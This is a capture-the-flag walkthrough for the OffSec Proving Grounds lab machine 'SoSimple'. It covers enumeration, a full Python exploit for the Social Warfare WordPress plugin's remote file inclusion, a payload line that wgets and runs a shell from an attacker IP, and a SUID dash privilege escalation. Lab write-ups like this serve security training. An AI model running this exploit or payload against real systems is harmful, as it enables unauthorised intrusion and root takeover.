2023-07-22-Proving_grounds_Play-SoSimple.md

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Proving grounds Play: SoSimple	post	2023-07-22 12:00	CTF Offsec labs OSCP Writeup Linux Pg-Play RFI Wordpress	true	true	Naveen	Offsec proving grounds play linux machine writeup

Walkthrough on Youtube

NMAP

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 5b5543efafd03d0e63207af4ac416a45 (RSA)
|   256 53f5231be9aa8f41e218c6055007d8d4 (ECDSA)
|_  256 55b77b7e0bf54d1bdfc35da1d768a96b (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: So Simple
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Fuzzing for directories and Files

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.158.78/FUZZ/
Total requests: 62284

=====================================================================
ID           Response   Lines    Word       Chars       Payload                               
=====================================================================

000000327:   200        147 L    646 W      13420 Ch    "wordpress"                           
000000386:   403        9 L      28 W       279 Ch      "icons"                               
000004227:   403        9 L      28 W       279 Ch      "server-status"                       
000004255:   200        77 L     39 W       495 Ch      "http://192.168.158.78//"             
000010756:   404        9 L      31 W       276 Ch      "secure_html"

WPScan

+] social-warfare
 | Location: http://192.168.158.78/wordpress/wp-content/plugins/social-warfare/
 | Last Updated: 2023-02-15T16:23:00.000Z
 | [!] The version is out of date, the latest version is 4.4.1

Searchsploit

Exploit

import sys
import requests
import re
import urlparse
import optparse

class EXPLOIT:

	VULNPATH = "wp-admin/admin-post.php?swp_debug=load_options&swp_url=%s"

	def __init__(self, _t, _p):
		self.target  = _t
		self.payload = _p

	def engage(self):
		uri = urlparse.urljoin( self.target, self.VULNPATH % self.payload )
		r = requests.get( uri )
		if r.status_code == 500:
			print "[*] Received Response From Server!"
			rr  = r.text
			obj = re.search(r"^(.*)<\!DOCTYPE", r.text.replace( "\n", "lnbreak" ))
			if obj:
				resp = obj.groups()[0]
				if resp:
					print "[<] Received: "
					print resp.replace( "lnbreak", "\n" )
				else:
					sys.exit("[<] Nothing Received for the given payload. Seems like the server is not vulnerable!")
			else:
				sys.exit("[<] Nothing Received for the given payload. Seems like the server is not vulnerable!")
		else:
			sys.exit( "[~] Unexpected Status Received!" )

def main():
	parser = optparse.OptionParser(  )

	parser.add_option( '-t', '--target', dest="target", default="", type="string", help="Target Link" )
	parser.add_option( ''  , '--payload-uri', dest="payload", default="", type="string", help="URI where the file payload.txt is located." )

	(options, args) = parser.parse_args()

	print "[>] Sending Payload to System!"
	exploit = EXPLOIT( options.target, options.payload )
	exploit.engage()

if __name__ == "__main__":
	main()

Vulnerable PATH

VULNPATH = "wp-admin/admin-post.php?swp_debug=load_options&swp_url=%s"

Remote File Inclusion

Remote payload file

<pre>
system("wget http://192.168.45.217:8000/shell  -O /var/tmp/shell; chmod 755 /var/tmp/shell; chmod +x /var/tmp/shell; /var/tmp/shell");
</pre>

Reverse shell payload using msfvenom

RFI Exploitation

Reverse shell connection obtained.

Privilege Escalation

User max ssh id_rsa file has been found.

SSH login to max

Listing max user permission, finding exploit for the service using GTFO bins and switch user to steven

Listing steven user permisssions

Create bash script using the location mentioned in the permissions.

#!/bin/bash

cp /bin/dash /var/tmp/dash; chmod u+s /var/tmp/dash

chmod u+s Allows the binary to be executed as owner + SUID permissions.

Running script as root user

Run dash

dash -p preserves effective privilege with which it was created and executed with same privilege.

Root obtained.

Thanks for reading!

For more insights and updates, follow me on Twitter: @thevillagehacker.